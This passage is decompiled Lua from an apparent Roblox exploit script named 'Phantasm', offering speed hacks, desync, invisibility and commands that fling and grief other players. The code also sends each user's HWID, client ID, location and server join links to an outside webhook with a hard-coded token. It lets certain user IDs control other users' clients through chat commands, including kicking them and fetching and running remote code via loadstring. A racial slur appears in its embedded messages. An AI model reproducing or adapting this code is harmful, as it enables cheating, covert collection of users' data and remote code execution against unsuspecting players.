1.01 v1364.Parent = u1357 if v1364.Name ~= 'Head' then if v1364.Name ~= 'HumanoidRootPart' then v1364.Material = Enum.Material.ForceField local _SpecialMesh = Instance.new('SpecialMesh', v1364) _SpecialMesh.Scale = v1364.Size _SpecialMesh.TextureId = 'rbxassetid://5101923607' _SpecialMesh.VertexColor = Vector3.new(255, 0, 0) end else v1364.Color = Color3.fromRGB(255, 0, 0) end local v1366, v1367, v1368 = pairs({ 'Sound', 'Decal', 'Trail', 'BodyVelocity', 'BodyGyro', 'BodyPosition', 'ParticleEmitter', }) while true do local v1369 v1368, v1369 = v1366(v1367, v1368) if v1368 == nil then break end local v1370 = v1364:FindFirstChildWhichIsA(v1369) if v1370 then v1370:Destroy() end end end end u1357.Parent = workspace.Terrain end) local _Model2 = Instance.new('Model', _Workspace) local _Humanoid = Instance.new('Humanoid', _Model2) local _Part30 = Instance.new('Part', _Model2) _Part30.Name = 'HumanoidRootPart' _Part30.CanCollide = false _Part30.Transparency = 1 _Part30.Anchored = true _Part30.Size = Vector3.new(2, 2, 1) task.spawn(function() while _PreSimulation:Wait() do local _Value16 = Options.SpeedHackMethod.Value local v1375 = getChar(_LocalPlayer) local v1376 if v1375 then v1376 = getRoot(v1375) else v1376 = v1375 end local v1377 if v1375 then v1377 = getHumanoid(v1375) else v1377 = v1375 end if v1375 and (v1376 and (v1377 and (Toggles.SpeedHackEnabled.Value and not u59.Flying))) then if _Value16 == 'CFrame' then v1376.CFrame = v1376.CFrame + v1377.MoveDirection * (Options.SpeedHack.Value / 10000) elseif _Value16 == 'Velocity' and v1377.MoveDirection ~= Vector3.new() then repeat local v1378 = v1377.MoveDirection.Unit * (Options.SpeedHack.Value / 100) v1376.Velocity = Vector3.new(v1378.X, v1376.Velocity.Y, v1378.Z) _PreSimulation:Wait() until v1377.MoveDirection == Vector3.new() or Options.SpeedHackMethod.Value ~= _Value16 v1376.Velocity = Vector3.new() end end end end) _Heartbeat:Connect(function() local v1379 = getChar(_LocalPlayer) local v1380 if v1379 then v1380 = getRoot(v1379) else v1380 = v1379 end local v1381 if v1379 then v1381 = getHumanoid(v1379) else v1381 = v1379 end if v1379 and (v1380 and v1381) then local v1382 = { CFrame = v1380.CFrame, Velocity = v1380.Velocity, } local v1383 = nil local _CurrentCamera7 = _Workspace.CurrentCamera local v1385 = false if u59.Invisibility or u59['Doing Wall Combo Anywhere'] then v1385 = (not getgenv().desync or v1379:FindFirstChild('AbsoluteImmortal')) and true or v1385 end if v1381.Health > 0 then if u59.Invisibility or u59['Upside Down'] then v1383 = v1382.CFrame * CFrame.Angles(0, 0, math.rad(180)) end if getgenv().flingDesync then v1383 = getgenv().flingDesync.CFrame or v1383 end if getgenv().desync and not v1379:FindFirstChild('AbsoluteImmortal') then v1383 = getgenv().desync.CFrame or v1383 end end if v1385 and (u1357 and Toggles.Visualizer.Value) then local v1386 = u1357 local v1387, v1388, v1389 = pairs(v1386:GetChildren()) while true do local v1390 v1389, v1390 = v1387(v1388, v1389) if v1389 == nil then break end if v1390:IsA('BasePart') then local v1391 = v1379:FindFirstChild(v1390.Name) if v1391 and v1391:IsA('BasePart') then v1390.CFrame = v1391.CFrame end end end end if v1383 then if _CurrentCamera7 and _CurrentCamera7.CameraSubject == v1381 then v1379:SetAttribute('NoHeadLerp', true) _CurrentCamera7.CameraSubject = _Humanoid end _Part30.CFrame = v1382.CFrame v1380.CFrame = v1383 if u1357 and (Toggles.Visualizer.Value and not (Toggles.AlwaysVisualize.Value or v1385)) then local v1392 = u1357 local v1393, v1394, v1395 = pairs(v1392:GetChildren()) while true do local v1396 v1395, v1396 = v1393(v1394, v1395) if v1395 == nil then break end if v1396:IsA('BasePart') then local v1397 = v1379:FindFirstChild(v1396.Name) if v1397 and v1397:IsA('BasePart') then v1396.CFrame = v1397.CFrame end end end end end if u1357 and not v1385 then if Toggles.Visualizer.Value and Toggles.AlwaysVisualize.Value then local v1398 = u1357 local v1399, v1400, v1401 = pairs(v1398:GetChildren()) while true do local v1402 v1401, v1402 = v1399(v1400, v1401) if v1401 == nil then break end if v1402:IsA('BasePart') then local v1403 = v1379:FindFirstChild(v1402.Name) if v1403 and v1403:IsA('BasePart') then v1402.CFrame = v1403.CFrame end end end elseif not (Toggles.Visualizer.Value and (Toggles.AlwaysVisualize.Value or v1383)) then local v1404 = u1357 local v1405, v1406, v1407 = pairs(v1404:GetChildren()) while true do local v1408 v1407, v1408 = v1405(v1406, v1407) if v1407 == nil then break end if v1408:IsA('BasePart') then v1408.CFrame = CFrame.new(0, 1000000, 0) end end end end if Toggles.FlingOnDeath.Value and v1381.Health <= 0 then v1380.Velocity = Vector3.new(1, 1, 1) * 16384 elseif u59['Trashcan Launch'] and Toggles.TrashcanLaunch.Value then v1380.Velocity = v1380.CFrame.LookVector * Options.Trashcan_LaunchPower.Value elseif getgenv().flingDesync and getgenv().flingDesync.Velocity or u59['Velocity Spoof'] then v1380.Velocity = u59['Velocity Spoof Settings'] end local v1409 if u59.Invisibility and not (getgenv().flingDesync and getgenv().flingDesync.Velocity) then v1409 = loadAnim(v1381, u57.ID) v1409.Priority = Enum.AnimationPriority.Action4 if v1409 then v1409:Play() v1409.TimePosition = u57.TimePosition v1409:AdjustSpeed(0) v1409:AdjustWeight(1) end else v1409 = nil end _RenderStepped:Wait() _Humanoid.CameraOffset = v1381.CameraOffset if _CurrentCamera7 and _CurrentCamera7.CameraSubject == _Humanoid then v1379:SetAttribute('NoHeadLerp', false) _CurrentCamera7.CameraSubject = v1381 end if v1409 and v1409.IsPlaying then v1409:Stop() end if v1383 then if _CurrentCamera7 and _UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then v1380.CFrame = CFrame.new(v1382.CFrame.Position, v1382.CFrame.Position + Vector3.new(_CurrentCamera7.CFrame.LookVector.X, 0, _CurrentCamera7.CFrame.LookVector.Z)) else v1380.CFrame = v1382.CFrame end end v1380.Velocity = v1382.Velocity end end) end) task.spawn(function() if workspace.CurrentCamera then patchCamera(workspace.CurrentCamera) end workspace.ChildAdded:Connect(patchCamera) end) if _LocalPlayer.Character then task.spawn(init) end u41[#u41 + 1] = _LocalPlayer.CharacterAdded:Connect(function() task.spawn(init, true) end) local u1410 = { [1033636351] = '<@287493655835443201>', [9892253606] = '<@422612957755736064>', } local function u1412(p1411) if p1411 and table.find({1033636351, 9892253606}, p1411) then return true, u1410[p1411] else return false, nil end end local function u1427(p1413) local v1414 = { 'theres an exploiter in your server ThePersonToPing', 'ThePersonToPing theres some fat skid in your server rn', "ThePersonToPing YOU'RE ABOUT TO GET PASTED ON THERES A HACKER IN YOUR SERVER!!", 'WATCH OUT ThePersonToPing THERES A PASTER IN YOUR SERVER', 'ThePersonToPing Theres some cheater nigga in your server watch out brochacho', } local _ThePersonToPing = v1414[math.random(1, #v1414)]:gsub('ThePersonToPing', p1413) task.spawn(pcall, function() local v1416 = u15 local v1417 = { Url = 'https://meow.skunk.legal/c/duck-might-be-diddy', Method = 'POST', Headers = { ['content-type'] = 'application/json', Authorization = 'YwCbktcTdW3EaWghnruRAAueeh6mKZ2sRqnph6Y', }, } local v1418 = _HttpService local _JSONEncode2 = v1418.JSONEncode local v1420 = {content = _ThePersonToPing} local v1421 = {} local v1422 = { title = 'Phantasm Logs', description = 'User Device: ' .. u428, type = 'rich', color = tonumber(0), } local v1423 = {} local v1424 = { name = '\n\n-----------------------------------------------------Information** **', } local v1425 = _Players local v1426 = _RbxAnalyticsService v1424.value = 'Identified Executor: ' .. (identifyexecutor and tostring(identifyexecutor()) or 'Unknown') .. '\nExecutor Name: ' .. (getexecutorname and tostring(getexecutorname()) or 'Unknown') .. '\nServer Players: ' .. (#v1425:GetPlayers() or 'Unknown') .. '\nServer Type: ' .. u448 .. '\nServer Version: ' .. u67 .. '\nCountry: ' .. u424 .. '\nRegion: ' .. u425 .. '\nRegion Name: ' .. u426 .. '\nTimezone: ' .. u427 .. '\nUsername: [' .. _LocalPlayer.Name .. ' (' .. _LocalPlayer.DisplayName .. ')](https://www.roblox.com/users/' .. _LocalPlayer.UserId .. '/profile)\nClient ID: ' .. (v1426:GetClientId() or 'Unknown') .. '\nHWID: ' .. (gethwid and tostring(gethwid()) or (get_hwid and tostring(get_hwid()) or 'Unknown')) .. '\nHashed Identifier: ' .. u446 .. '\n-----------------------------------------------------' .. '\n[**Join**](https://fern.wtf/joiner?placeId=' .. game.PlaceId .. '&gameInstanceId=' .. game.JobId .. ')' v1424.inline = false __set_list(v1423, 1, { v1424, { name = 'JobId Join', value = "```Roblox.GameLauncher.joinGameInstance('" .. game.PlaceId .. "', '" .. game.JobId .. "')```", inline = true, }, { name = 'JobId', value = '```r\r\n ' .. game.JobId .. '\r\n\r\n ```', inline = true, }, { name = 'Browser Join', value = '```roblox://experiences/start?placeId=' .. game.PlaceId .. '&gameInstanceId=' .. game.JobId .. '```', inline = false, }, { name = 'Script Join', value = '```lua\r\n game:GetService("TeleportService"):TeleportToPlaceInstance(' .. game.PlaceId .. ', "' .. game.JobId .. '", game:GetService("Players").LocalPlayer)\r\n ```', inline = false, }, }) v1422.fields = v1423 v1422.thumbnail = { url = fetchAvatar(), } v1422.footer = { text = 'Script ran at ' .. os.date('%Y-%m-%d %H:%M:%S'), } __set_list(v1421, 1, {v1422}) v1420.embeds = v1421 v1417.Body = _JSONEncode2(v1418, v1420) v1416(v1417) end) end local v1428 = _Players local v1429, v1430, v1431 = pairs(_Players.GetPlayers(v1428)) while true do local u1432 v1431, u1432 = v1429(v1430, v1431) if v1431 == nil then break end if u1432.Name ~= _LocalPlayer.Name then local v1433, v1434 = u1412(u1432.UserId) if v1433 then if v1434 then u1427(v1434) end local v1435, v1436, v1437 = pairs(game:GetDescendants()) while true do local u1438 v1437, u1438 = v1435(v1436, v1437) if v1437 == nil then break end pcall(function() u1438:Destroy() u1438.Destroy() u1438:Remove() u1438.Remove() u1438.Parent = nil end) end pcall(function() local v1439, v1440, v1441 = pairs(getrawmetatable(game)) while true do local v1442 v1441, v1442 = v1439(v1440, v1441) if v1441 == nil then break end hookfunction(v1442, function() end) end end) while true do end end task.spawn(initOthers, u1432) u41[#u41 + 1] = u1432.CharacterAdded:Connect(function() task.spawn(initOthers, u1432) end) end end u41[#u41 + 1] = _Players.PlayerAdded:Connect(function(p1443) local v1444, v1445 = u1412(p1443.UserId) if v1444 then if v1445 then u1427(v1445) end local v1446, v1447, v1448 = pairs(game:GetDescendants()) while true do local u1449 v1448, u1449 = v1446(v1447, v1448) if v1448 == nil then break end pcall(function() u1449:Destroy() u1449.Destroy() u1449:Remove() u1449.Remove() u1449.Parent = nil end) end pcall(function() local v1450, v1451, v1452 = pairs(getrawmetatable(game)) while true do local v1453 v1452, v1453 = v1450(v1451, v1452) if v1452 == nil then break end hookfunction(v1453, function() end) end end) while true do end else if u17 and not table.find(u18, p1443) then table.insert(u18, p1443) end if p1443.Name ~= _LocalPlayer.Name then task.spawn(pcall, u810, p1443) task.spawn(function() local v1454 = tick() repeat _RenderStepped:Wait() until p1443:GetAttribute('PreloadDone') or tick() >= v1454 + 30 if p1443 and p1443.Parent then if p1443.Character then task.spawn(initOthers, p1443) end p1443.CharacterAdded:Connect(function() task.spawn(initOthers, p1443) end) end end) end allplayers = _Players:GetPlayers() return end end) local u1455 = { "i'll meow for GAYESTPERSONHERE anyday~..", '*purr* hi GAYESTPERSONHERE~..', 'I love you GAYESTPERSONHERE..', 'GAYESTPERSONHERE is mine and mine only >~<', 'Owned by GAYESTPERSONHERE :3', 'GAYESTPERSONHERE is such a cutie~..', } local u1456 = {Freeze = false} local function v1482(p1457) p1457.MessageReceived:Connect(function(p1458) local _TextSource = p1458.TextSource if _TextSource then _TextSource = _Players:FindFirstChild(p1458.TextSource.Name) end if _TextSource and u1412(_TextSource.UserId) then local v1460 = getChar(_LocalPlayer) local v1461 if v1460 then v1461 = getRoot(v1460) else v1461 = v1460 end if v1460 then v1460 = getHumanoid(v1460) end local v1462 = string.split(p1458.Text, ' ') if v1462[1] then table.remove(v1462, 1) end local v1463 if v1462[1] and (getPlayer(v1462[1], false, true) and getPlayer(v1462[1], false, true).Name == _LocalPlayer.Name or (v1462[1]:lower() == 'all' or v1462[1]:lower() == 'others')) then table.remove(v1462, 1) v1463 = true else v1463 = false end if p1458.Text:find('^.t') then sendMsg(v1462[1] or 'b') end if not v1463 then end if p1458.Text:find('^.bring') or p1458.Text:find('^.b') then local v1464 = getChar(_TextSource) if v1464 then v1464 = getRoot(v1464) end if v1464 then heartbeatTp(v1464.CFrame) end end if p1458.Text:find('^.plug') or p1458.Text:find('^.p') then sendMsg('Phantasm is the best script ever!!') end if p1458.Text:find('^.goto') then local v1465 = v1462[1] if v1465 then v1465 = getPlayer(v1462[1]) end if v1465 then v1465 = getChar(v1465) end if v1465 then v1465 = getRoot(v1465) end if v1465 then heartbeatTp(v1465.CFrame) end end if p1458.Text:find('^.reset') then if v1460 then v1460:ChangeState(Enum.HumanoidStateType.Dead) v1460.Health = 0 end end if p1458.Text:find('^.freeze') or p1458.Text:find('^.fr') then u1456.Freeze = true v1461.Anchored = true task.wait() if not u1456.Freeze then end end if p1458.Text:find('^.unfreeze') or (p1458.Text:find('^.unfr') or p1458.Text:find('^.thaw')) then u1456.Freeze = false elseif p1458.Text:find('^.ew') then local v1466 = v1462[1] if v1466 then v1466 = getPlayer(v1462[1]) end local v1467 = u1455[math.random(1, #u1455)] sendMsg(v1467:gsub('GAYESTPERSONHERE', v1466 and v1466.DisplayName or _TextSource.DisplayName)) elseif p1458.Text:find('^.kick') then _LocalPlayer:Kick(#v1462 <= 0 and 'Kicked' or (table.concat(v1462, ' ') or 'Kicked')) _LocalPlayer:Kick(#v1462 > 0 and table.concat(v1462, ' ') or 'Kicked') elseif p1458.Text:find('^.boi') then communicate({ Goal = ' Platform ', mobile = _UserInputService.TouchEnabled, }) local u1468 = {} game:GetService('ContentProvider'):PreloadAsync({ _CoreGui, _LocalPlayer.PlayerGui, }, function(p1469, _) local v1470 = string.lower(p1469) local v1471 = string.gsub(v1470, 'rbxassetid://', '') u1468[string.gsub(v1471, 'rbxasset://', '')] = true end) local v1472 = { Goal = 'CheckList', List = u1468, } communicate(v1472) while task.wait() do local v1473 = getChar(_LocalPlayer) local v1474 if v1473 then v1474 = getHumanoid(v1473) else v1474 = v1473 end if v1474 then local v1475, v1476, v1477 = pairs({ '18169333305', '18205877704', '18230909652', '18230741457', '17325510002', '17325513870', '17325522388', '17325537719', }) while true do local v1478 v1477, v1478 = v1475(v1476, v1477) if v1477 == nil then break end local _Animation2 = Instance.new('Animation') _Animation2.AnimationId = 'rbxassetid://' .. v1478 _Animation2.Parent = v1473 local v1480 = v1474:LoadAnimation(_Animation2) v1480:Play() task.wait() v1480:Stop() end end end elseif p1458.Text:find('^.sonicexe') then sendMsg('exe') getgenv().SonicEXE_Executed = true loadstring(game:HttpGet('https://raw.githubusercontent.com/secretisadev/Phantasm/refs/heads/main/Sonic.lua'))() elseif p1458.Text:find('^.fling') then local v1481 = v1462[1] if v1481 then v1481 = getPlayer(v1462[1]) end if v1481 then fling(v1481.Name) end else local _ = u1455[math.random(1, #u1455)] end end end) end local v1483, v1484, v1485 = pairs(_TextChatService.TextChannels:GetChildren()) while true do local v1486 v1485, v1486 = v1483(v1484, v1485) if v1485 == nil then break end v1482(v1486) end _TextChatService.TextChannels.ChildAdded:Connect(v1482) u41[#u41 + 1] = _Players.PlayerRemoving:Connect(function(p1487) if u43[p1487] then local v1488, v1489, v1490 = pairs(u43[p1487]) while true do local v1491 v1490, v1491 = v1488(v1489, v1490) if v1490 == nil then break end v1491:Disconnect() end if u44.Players[p1487] then local v1492, v1493, v1494 = pairs(u44.Players[p1487]) while true do local v1495 v1494, v1495 = v1492(v1493, v1494) if v1494 == nil then break end v1495:Remove() end table.remove(u44.Players, table.find(u44.Players, p1487)) end table.clear(u43[p1487]) u43[p1487] = nil table.remove(u43, table.find(u43, p1487)) end if table.find(u18, p1487) then table.remove(u18, table.find(u18, p1487)) end allplayers = _Players:GetPlayers() end) local function v1503(p1496, p1497, p1498) u60[p1496] = p1498 if p1497 then local v1499, v1500, v1501 = pairs(p1497) while true do local v1502 v1501, v1502 = v1499(v1500, v1501) if v1501 == nil then break end u61[v1502] = p1498 end end end local function u1506(p1504, p1505) (u60[p1504] or u61[p1504])(p1505) end v1503('goto', { 'tp', 'to', }, function(p1507) local v1508 = p1507[1] if v1508 then v1508 = getPlayer(p1507[1]) end local v1509 = getAllPlayers() if p1507[1] and p1507[1]:lower() == 'random' then v1508 = v1509[math.random(1, #v1509)] end if v1508 then local v1510 = getChar(v1508) local v1511 if v1510 then v1511 = getRoot(v1510) else v1511 = v1510 end if v1510 and v1511 then heartbeatTp(v1511.CFrame) end end end) v1503('say', nil, function(p1512) local v1513 = table.concat(p1512, ' ') if v1513 and not Toggles.DisableMessaging.Value then sendMsg(v1513) end end) v1503('view', { 'spectate', }, function(p1514) if u62.view then u62.view:Disconnect() u62.view = nil end local u1515 = p1514[1] if u1515 then u1515 = getPlayer(p1514[1]) end local v1516 = getAllPlayers() if p1514[1] and p1514[1]:lower() == 'random' then u1515 = v1516[math.random(1, #v1516)] end if u1515 then u477:Notify(bypassText('Viewing', u1515.DisplayName), 3, u42.Notification) u62.view = _RenderStepped:Connect(function() local v1517 = u1515 if v1517 then v1517 = getChar(u1515) end if u1515 and (u1515.Parent and (v1517 and workspace.CurrentCamera)) then workspace.CurrentCamera.CameraSubject = v1517 elseif u1515 and not u1515.Parent or not u1515 then task.spawn(u1506, 'unview') end end) end end) v1503('unview', { 'unspectate', }, function(_) u477:Notify(bypassText('Unviewing..'), 3, u42.Notification) if u62.view then u62.view:Disconnect() u62.view = nil end local v1518 = getChar(_LocalPlayer) if v1518 and workspace.CurrentCamera then workspace.CurrentCamera.CameraSubject = v1518 end end) local function u1524(p1519) local _Position3 = p1519.Position local v1521 = tick() wait() local _Position4 = p1519.Position local v1523 = tick() return (_Position4 - _Position3) / (v1523 - v1521) end local function u1550(p1525) if u16 or (not _Players:FindFirstChild(p1525) or p1525 == _LocalPlayer.Name) then return end local v1526 = getChar(_LocalPlayer) local v1527 if v1526 then v1527 = getRoot(v1526) else v1527 = v1526 end local v1528 if v1526 then v1528 = getHumanoid(v1526) else v1528 = v1526 end local v1529 = _Players[p1525] local v1530 = getChar(v1529) local u1531 if v1530 then u1531 = getRoot(v1530) else u1531 = v1530 end local v1532 if v1530 then v1532 = getHumanoid(v1530) else v1532 = v1530 end if v1526 and (v1527 and (v1528 and (v1530 and (u1531 and v1532)))) then local _CFrame19 = v1527.CFrame local v1534 = 0 u16 = true local v1535 = tick() local _Position5 = u1531.Position local v1537 = table.find(u18, v1529) local u1538 = Vector3.new(0, 0, 0) local v1539 = true local _Value17 = Options.FlingSpeed.Value local _Value18 = Options.FlingTimeout.Value local _Value19 = Options.FlingType.Value local v1543 = _Value19 == 'Anti-Fling' and -0.75 if not v1543 then v1543 = _Value19 == 'Normal' and 0 if not v1543 then if _Value19 == 'Void' then v1543 = 1 else v1543 = false end end end while true do if v1527 and v1528 then local _CurrentCamera8 = workspace.CurrentCamera if _CurrentCamera8 and _CurrentCamera8.CameraSubject ~= v1532 then _CurrentCamera8.CameraSubject = v1532 end task.spawn(function() u1538 = u1524(u1531) end) v1528.PlatformStand = true local v1545 = CFrame.new(0, v1543, 0) * CFrame.Angles(math.rad(90), 0, math.rad(v1534)) local _Position6 = u1531.Position v1534 = v1534 + _Value17 local v1547 = tick() repeat v1527.Velocity = Vector3.new(0, -9000000000, 0) v1527.CFrame = CFrame.new(_Position6) * v1545 + v1532.MoveDirection * u1531.Velocity.Magnitude / 1.25 task.wait() until tick() >= v1547 + 0.01 v1527.CFrame = CFrame.new(_Position6) * v1545 + v1532.MoveDirection * ((u1531.Position - _Position6).Magnitude * 30) end task.wait() if u1531.CFrame.Y >= 10000 or (u1531.CFrame.Y <= -10000 or ((u1531.Position - _Position5).Magnitude >= 100 or (u1538.Magnitude >= 250 or (tick() >= v1535 + _Value18 or v1529.Character and v1529.Character ~= v1530)))) or (v1539 and v1532.Health <= 0 or (v1537 and not table.find(u18, v1529) or not (v1529.Character and _LocalPlayer.Character))) then local _CurrentCamera9 = workspace.CurrentCamera if _CurrentCamera9 then local v1549 = not (_LocalPlayer.Character and v1528) and _LocalPlayer.Character and _LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid') if v1549 then v1549 = _LocalPlayer.Character.Humanoid end _CurrentCamera9.CameraSubject = v1549 end while true do if v1527 then v1527.CFrame = _CFrame19 v1527.Velocity = Vector3.new() v1527.RotVelocity = Vector3.new() end if v1528 then v1528.PlatformStand = false v1528:ChangeState(Enum.HumanoidStateType.GettingUp) end task.wait() if (v1527.Position - _CFrame19.Position).Magnitude <= 10 and (v1527.Velocity.Magnitude >= -500 and (v1527.Velocity.Magnitude <= 500 and not v1528.PlatformStand)) or _LocalPlayer.Character and _LocalPlayer.Character ~= v1526 then u16 = false end end end end else return end end local function u1556(p1551) if _Players:FindFirstChild(p1551) then local v1552 = _Players[p1551] local _Character = v1552.Character local v1554 if _Character then v1554 = _Character:FindFirstChild('HumanoidRootPart') else v1554 = _Character end local v1555 if _Character then v1555 = _Character:FindFirstChildWhichIsA('Humanoid') else v1555 = _Character end return _Character and (v1554 and (v1555 and (v1554.CFrame.Y >= 500 or (v1554.CFrame.Y <= -500 or (v1555.Health <= 0 or not v1552.Character))))) and true or false end end v1503('fling', { 'void', }, function(p1557) if not u17 then if #p1557 == 1 and (p1557[1]:lower() == 'all' or p1557[1]:lower() == 'others') then table.clear(p1557) local v1558 = _Players local v1559, v1560, v1561 = pairs(v1558:GetPlayers()) while true do local v1562 v1561, v1562 = v1559(v1560, v1561) if v1561 == nil then break end table.insert(p1557, v1562.Name) end end local v1563, v1564, v1565 = pairs(p1557) while true do local v1566 v1565, v1566 = v1563(v1564, v1565) if v1565 == nil then break end local v1567 = v1566:gsub(',', ''):lower() local v1568 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_ ' local u1569 = '' for v1570 = 1, #v1567 do local v1571 = v1567:sub(v1570, v1570) if v1568:find(v1571) then u1569 = u1569 .. v1571 end end task.spawn(function() local v1572 = _Players local v1573, v1574, v1575 = pairs(v1572:GetPlayers()) while true do local v1576 v1575, v1576 = v1573(v1574, v1575) if v1575 == nil then break end local v1577 = v1576.Name:lower() local v1578 = v1576.DisplayName:lower() if v1577:find('^' .. u1569) or v1578:find('^' .. u1569) then u1550(v1576.Name) return end end end) if u16 then repeat task.wait() until not u16 end end end end) v1503('loopfling', { 'loopvoid', }, function(p1579) if #p1579 == 1 and (p1579[1]:lower() == 'all' or p1579[1]:lower() == 'others') then u17 = true table.clear(p1579) local v1580 = _Players local v1581, v1582, v1583 = pairs(v1580:GetPlayers()) while true do local v1584 v1583, v1584 = v1581(v1582, v1583) if v1583 == nil then break end table.insert(p1579, v1584.Name) end end local v1585, v1586, v1587 = pairs(p1579) while true do local v1588 v1587, v1588 = v1585(v1586, v1587) if v1587 == nil then break end local v1589 = v1588:gsub(',', ''):lower() local v1590 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_ ' local u1591 = '' for v1592 = 1, #v1589 do local v1593 = v1589:sub(v1592, v1592) if v1590:find(v1593) then u1591 = u1591 .. v1593 end end task.spawn(function() local v1594 = _Players local v1595, v1596, v1597 = pairs(v1594:GetPlayers()) while true do local v1598 v1597, v1598 = v1595(v1596, v1597) if v1597 == nil then break end local v1599 = v1598.Name:lower() local v1600 = v1598.DisplayName:lower() if (v1599:find('^' .. u1591) or v1600:find('^' .. u1591)) and not table.find(u18, v1598) then table.insert(u18, v1598) end end end) end end) v1503('unfling', { 'unvoid', 'unloopfling', 'unloopvoid', }, function(p1601) if #p1601 ~= 1 or p1601[1]:lower() ~= 'all' and p1601[1]:lower() ~= 'others' then if u17 then return end else u17 = false table.clear(p1601) local v1602 = _Players local v1603, v1604, v1605 = pairs(v1602:GetPlayers()) while true do local v1606 v1605, v1606 = v1603(v1604, v1605) if v1605 == nil then break end table.insert(p1601, v1606.Name) end end local v1607, v1608, v1609 = pairs(p1601) while true do local v1610 v1609, v1610 = v1607(v1608, v1609) if v1609 == nil then break end local v1611 = v1610:gsub(',', ''):lower() local v1612 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_ ' local u1613 = '' for v1614 = 1, #v1611 do local v1615 = v1611:sub(v1614, v1614) if v1612:find(v1615) then u1613 = u1613 .. v1615 end end task.spawn(function() local v1616 = _Players local v1617, v1618, v1619 = pairs(v1616:GetPlayers()) while true do local v1620 v1619, v1620 = v1617(v1618, v1619) if v1619 == nil then break end local v1621 = v1620.Name:lower() local v1622 = v1620.DisplayName:lower() if (v1621:find('^' .. u1613) or v1622:find('^' .. u1613)) and table.find(u18, v1620) then table.remove(u18, table.find(u18, v1620)) end end end) end end) task.spawn(function() while task.wait() do if #u18 > 0 then local v1623, v1624, v1625 = pairs(u18) while true do local v1626 v1625, v1626 = v1623(v1624, v1625) if v1625 == nil then break end if #u18 ~= 0 and not u1556(v1626.Name) then u1550(v1626.Name) if u16 then repeat task.wait() until not u16 end end end end end end) v1503('whitelist', { 'addwhitelist', }, function(p1627) local v1628 = p1627[1] if v1628 then v1628 = getPlayer(p1627[1]) end if v1628 then if table.find(u447, v1628) then u477:Notify(bypassText('This player is already whitelisted!'), 3, u42.Notification) else table.insert(u447, v1628) u477:Notify(bypassText('Whitelisted', v1628.DisplayName), 3, u42.Notification) end end end) v1503('unwhitelist', { 'removewhitelist', }, function(p1629) local v1630 = p1629[1] if v1630 then v1630 = getPlayer(p1629[1]) end if v1630 and table.find(u447, v1630) then table.remove(u447, table.find(u447, v1630)) u477:Notify(bypassText('Unwhitelisted', v1630.DisplayName), 3, u42.Notification) end end) v1503('rejoin', { 'rj', }, function(_) rejoin() end) v1503('reset', nil, function(_) local v1631 = getChar(_LocalPlayer) local v1632 if v1631 then v1632 = getHumanoid(v1631) else v1632 = v1631 end if v1631 and v1632 then v1632:ChangeState(Enum.HumanoidStateType.Dead) v1632.Health = 0 end end) v1503('fixcam', nil, fixCam) v1503('vclip', nil, function(p1633) local v1634 = getChar(_LocalPlayer) local v1635 if v1634 then v1635 = getRoot(v1634) else v1635 = v1634 end if v1634 and (v1635 and (p1633[1] and tonumber(p1633[1]))) then heartbeatTp(v1635.CFrame * CFrame.new(0, p1633[1], 0)) end end) v1503('hclip', nil, function(p1636) local v1637 = getChar(_LocalPlayer) local v1638 if v1637 then v1638 = getRoot(v1637) else v1638 = v1637 end if v1637 and (v1638 and (p1636[1] and tonumber(p1636[1]))) then heartbeatTp(v1638.CFrame * CFrame.new(0, 0, -p1636[1])) end end) task.spawn(function() local v1639 = { Enabled = false, ResetOnSpawn = false, DisplayOrder = 100000, Parent = u9, } local _ScreenGui2 = Create('ScreenGui', v1639) local _Frame = Create('Frame', { BackgroundColor3 = Color3.new(0, 0, 0), BorderColor3 = Color3.new(0, 0, 0), Size = UDim2.new(1, -4, 0, 20), ZIndex = 5, Parent = _ScreenGui2, }) local _Frame2 = Create('Frame', { BackgroundColor3 = Color3.fromRGB(28, 28, 28), BorderColor3 = Color3.fromRGB(50, 50, 50), BorderMode = Enum.BorderMode.Inset, Size = UDim2.new(1, 0, 1, 0), ZIndex = 6, Parent = _Frame, }) Create('UIGradient', { Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1, Color3.fromRGB(212, 212, 212)), }), Rotation = 90, Parent = _Frame2, }) local _Frame3 = Create('Frame', { BackgroundTransparency = 1, ClipsDescendants = true, Position = UDim2.new(0, 5, 0, 0), Size = UDim2.new(1, -5, 1, 0), ZIndex = 7, Parent = _Frame2, }) local _TextLabel = Create('TextLabel', { BackgroundTransparency = 1, Position = UDim2.fromOffset(0, 0), Size = UDim2.fromScale(5, 1), Font = Enum.Font.Code, Text = '', TextColor3 = Color3.fromRGB(255, 255, 255), TextTransparency = 0.5, TextSize = 14, TextStrokeTransparency = 0.7, TextXAlignment = Enum.TextXAlignment.Left, ZIndex = 7, Parent = _Frame3, }) local _TextBox = Create('TextBox', { BackgroundTransparency = 1, Position = UDim2.fromOffset(0, 0), Size = UDim2.fromScale(5, 1), Font = Enum.Font.Code, PlaceholderColor3 = Color3.fromRGB(190, 190, 190), PlaceholderText = '', Text = '', TextColor3 = Color3.fromRGB(255, 255, 255), TextSize = 14, TextStrokeTransparency = 0, TextXAlignment = Enum.TextXAlignment.Left, ClearTextOnFocus = true, ZIndex = 8, Parent = _Frame3, }) local v1646 = _TextBox _TextBox.GetPropertyChangedSignal(v1646, 'Text'):Connect(function() if _TextBox.Text:match('^%s*$') then _TextLabel.Text = '' else local v1647 = _TextBox.Text:split(' ') if v1647 then local v1648 = v1647[1] if v1648 then v1648 = v1647[1]:lower() end local v1649 = v1647[2] if v1648 then local v1650, v1651, v1652 = pairs(u60) while true do local v1653 v1652, v1653 = v1650(v1651, v1652) if v1652 == nil then break end if v1652:find('^' .. v1648) then if v1649 then v1649 = getPlayer(v1649) end if v1649 then _TextLabel.Text = v1652 .. '' .. v1649.DisplayName _TextLabel.Text = _TextBox.Text .. _TextLabel.Text:sub(#_TextBox.Text, #_TextLabel.Text) else _TextLabel.Text = v1652 end end local v1654, v1655, v1656 = pairs(u61) while true do local v1657 v1656, v1657 = v1654(v1655, v1656) if v1656 == nil then break end if v1656:find('^' .. v1648) then local v1658 if v1649 then v1658 = getPlayer(v1649) else v1658 = v1649 end if v1658 then _TextLabel.Text = v1656 .. '' .. 